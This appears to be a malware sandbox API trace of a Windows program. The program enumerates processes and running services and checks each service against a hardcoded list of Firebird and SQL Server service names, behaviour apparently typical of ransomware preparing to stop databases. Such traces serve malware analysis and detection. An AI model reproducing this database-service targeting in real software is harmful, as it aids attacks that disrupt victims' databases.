	[0205.015] Process32NextW (in: hSnapshot=0x2c4, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf60, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0205.015] CloseHandle (hObject=0x2c4) returned 1
	[0205.015] Sleep (dwMilliseconds=0x1f4) 
	[0205.744] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59e0b8
	[0205.745] EnumServicesStatusExW (in: hSCManager=0x59e0b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0) returned 0
	[0205.746] GetLastError () returned 0xea
	[0205.746] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1bc4) returned 0x3e59e38
	[0205.746] EnumServicesStatusExW (in: hSCManager=0x59e0b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e59e38, cbBufSize=0x1bc4, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e59e38, pcbBytesNeeded=0x257ff3c, lpServicesReturned=0x257ff54, lpResumeHandle=0x0) returned 1
	[0205.747] CloseServiceHandle (hSCObject=0x59e0b8) returned 1
	[0205.747] lstrlenW (lpString="Appinfo") returned 7
	[0205.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0205.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0205.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0205.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0205.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0205.747] lstrlenW (lpString="AppXSvc") returned 7
	[0205.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0205.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0205.748] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0205.748] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0205.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0205.748] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0205.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0205.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0205.748] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0205.748] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0205.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0205.748] lstrlenW (lpString="Audiosrv") returned 8
	[0205.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0205.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0205.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0205.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0205.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0205.748] lstrlenW (lpString="BFE") returned 3
	[0205.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0205.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0205.748] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0205.748] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0205.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0205.749] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0205.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0205.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0205.749] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0205.749] lstrlenW (lpString="CDPSvc") returned 6
	[0205.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0205.749] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0205.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0205.749] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0205.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0205.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0205.749] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0205.749] lstrlenW (lpString="CryptSvc") returned 8
	[0205.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0205.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0205.749] lstrlenW (lpString="DcomLaunch") returned 10
	[0205.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0205.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0205.750] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0205.750] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0205.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0205.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0205.750] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0205.750] lstrlenW (lpString="Dhcp") returned 4
	[0205.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0205.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0205.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0205.750] lstrlenW (lpString="Dnscache") returned 8
	[0205.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0205.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0205.750] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0205.750] lstrlenW (lpString="DPS") returned 3
	[0205.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0205.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0205.750] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0205.750] lstrlenW (lpString="DusmSvc") returned 7
	[0205.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0205.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0205.750] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0205.750] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0205.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0205.751] lstrlenW (lpString="EventLog") returned 8
	[0205.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0205.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0205.751] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0205.751] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0205.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0205.751] lstrlenW (lpString="EventSystem") returned 11
	[0205.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0205.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0205.751] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0205.751] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0205.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0205.751] lstrlenW (lpString="FontCache") returned 9
	[0205.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0205.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0205.751] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0205.751] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0205.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0205.751] lstrlenW (lpString="gpsvc") returned 5
	[0205.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0205.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0205.751] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0205.751] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0205.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0205.751] lstrlenW (lpString="iphlpsvc") returned 8
	[0205.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0205.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0205.751] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0205.751] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0205.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0205.751] lstrlenW (lpString="KeyIso") returned 6
	[0205.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0205.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0205.752] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0205.752] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0205.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0205.752] lstrlenW (lpString="LanmanServer") returned 12
	[0205.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0205.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0205.752] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0205.752] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0205.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0205.752] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0205.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0205.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0205.752] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0205.752] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0205.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0205.752] lstrlenW (lpString="lfsvc") returned 5
	[0205.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0205.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0205.752] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0205.752] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0205.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0205.752] lstrlenW (lpString="lmhosts") returned 7
	[0205.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0205.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0205.752] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0205.752] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0205.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0205.752] lstrlenW (lpString="LSM") returned 3
	[0205.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0205.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0205.752] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0205.752] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0205.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0205.753] lstrlenW (lpString="MpsSvc") returned 6
	[0205.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0205.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0205.753] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0205.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0205.753] lstrlenW (lpString="NcbService") returned 10
	[0205.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0205.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0205.753] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0205.753] lstrlenW (lpString="netprofm") returned 8
	[0205.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0205.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0205.753] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0205.753] lstrlenW (lpString="NgcSvc") returned 6
	[0205.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0205.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0205.753] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0205.753] lstrlenW (lpString="NlaSvc") returned 6
	[0205.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0205.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0205.753] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0205.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0205.753] lstrlenW (lpString="nsi") returned 3
	[0205.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0205.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0205.754] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0205.754] lstrlenW (lpString="PcaSvc") returned 6
	[0205.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0205.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0205.754] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0205.754] lstrlenW (lpString="PlugPlay") returned 8
	[0205.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0205.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0205.754] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0205.754] lstrlenW (lpString="Power") returned 5
	[0205.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0205.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0205.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0205.754] lstrlenW (lpString="ProfSvc") returned 7
	[0205.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0205.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0205.754] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0205.754] lstrlenW (lpString="RpcEptMapper") returned 12
	[0205.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0205.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0205.754] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0205.754] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0205.755] lstrlenW (lpString="RpcSs") returned 5
	[0205.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0205.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0205.755] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0205.755] lstrlenW (lpString="SamSs") returned 5
	[0205.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0205.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0205.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0205.755] lstrlenW (lpString="Schedule") returned 8
	[0205.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0205.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0205.755] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0205.755] lstrlenW (lpString="SecurityHealthService") returned 21
	[0205.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0205.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0205.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0205.755] lstrlenW (lpString="SENS") returned 4
	[0205.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0205.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0205.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0205.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0205.755] lstrlenW (lpString="ShellHWDetection") returned 16
	[0205.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0205.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0205.756] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0205.756] lstrlenW (lpString="Spooler") returned 7
	[0205.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0205.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0205.756] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0205.756] lstrlenW (lpString="StateRepository") returned 15
	[0205.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0205.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0205.756] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0205.756] lstrlenW (lpString="SysMain") returned 7
	[0205.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0205.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0205.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0205.756] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0205.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0205.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0205.756] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0205.756] lstrlenW (lpString="Themes") returned 6
	[0205.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0205.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0205.756] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0205.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0205.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0205.757] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0205.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0205.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0205.757] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0205.757] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0205.757] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3e59e38 | out: hHeap=0x560000) returned 1
	[0205.757] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x34c
	[0205.972] Process32FirstW (in: hSnapshot=0x34c, lppe=0x257fd2c | out: lppe=0x257fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
